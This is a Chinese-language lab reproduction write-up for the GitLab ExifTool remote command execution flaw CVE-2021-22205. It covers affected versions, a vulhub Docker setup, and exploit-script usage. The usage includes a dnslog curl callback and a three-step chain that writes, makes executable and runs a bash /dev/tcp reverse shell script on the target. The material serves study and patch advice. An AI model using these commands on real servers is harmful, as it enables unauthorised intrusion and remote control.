CVE-2021- 22205漏洞复现
一、漏洞概述
2021年4⽉15⽇,GitLab官方发布安全补丁更新修复了GitLab命令执行漏洞(CVE-2021- 22205)。由于GitLab中的ExifTool没有对传⼊的图像文件的扩展名进行正确处理,攻击者通过 上传特制的恶意图片,可以在目标服务器上执行任意命令,且发现由于GitLab存在未授权的端点,导致该漏洞在无需进行身份验证的情况下即可进行利用,社区版(CE)和企业版(EE)皆受影 响,CVSS评分为9.9。
GitLab 是一个基于 Web 的 DevOps 生命周期工具,它提供了一个 Git 存储库管理器,可提供 wiki、问题跟踪以及持续集成和部署管道功能。
在 GitLab CE/EE 中发现了一个问题,影响了从 11.9 开始的版本。GitLab 没有正确验证传递给文件解析器的图像文件,这导致了未经身份验证的远程命令执行。
二、漏洞影响
11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3
三、漏洞复现
启动vulhub的gitlab实验的靶标
对靶场进行编译
docker-compose build
运行靶场
docker-compose up -d
如果下载速度很慢,这种方法很好
Centos和Kali
sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{
"registry-mirrors": ["https://l10nt4hq.mirror.aliyuncs.com"]
}
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker
查看进程启动端口
docker-compose ps
漏洞检测
目标主机存在这个漏洞
http://192.168.157.133:8080/users/sign_in
使用脚本对该地址进行检测
python3 .\CVE-2021-22205.py -v true -t http://192.168.157.133:8080/
漏洞利用
攻击模式
python CVE-2021-22205.py -a true -t target_url -c command
py -3 .\CVE-2021-22205.py -a true -t http://X.X.X.X:8080/ -c command //command 输入可执行命令
使用dnslog出网探测
python3 .\CVE-2021-22205.py -a trye -t http://192.168.157.133:8080/ -c "curl 73u6et.dnslog.cn"
1、这条命令是将反弹shell命令写成sh脚本 到 /tmp/ 目录下
python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/shell.sh"
2、这条命令是代表,对写入成功的sh脚本加执行权限
python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "chmod +x /tmp/shell.sh"
3、这条命令是代表,运行反弹shell脚本
python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "/bin/bash /tmp/shell.sh"
查看反弹情况
docker exec -it cve-2021-22205_gitlab_1 /bin/bash
四、修复建议:
升级版本13.10.3、13.9.6和13.8.8进行防护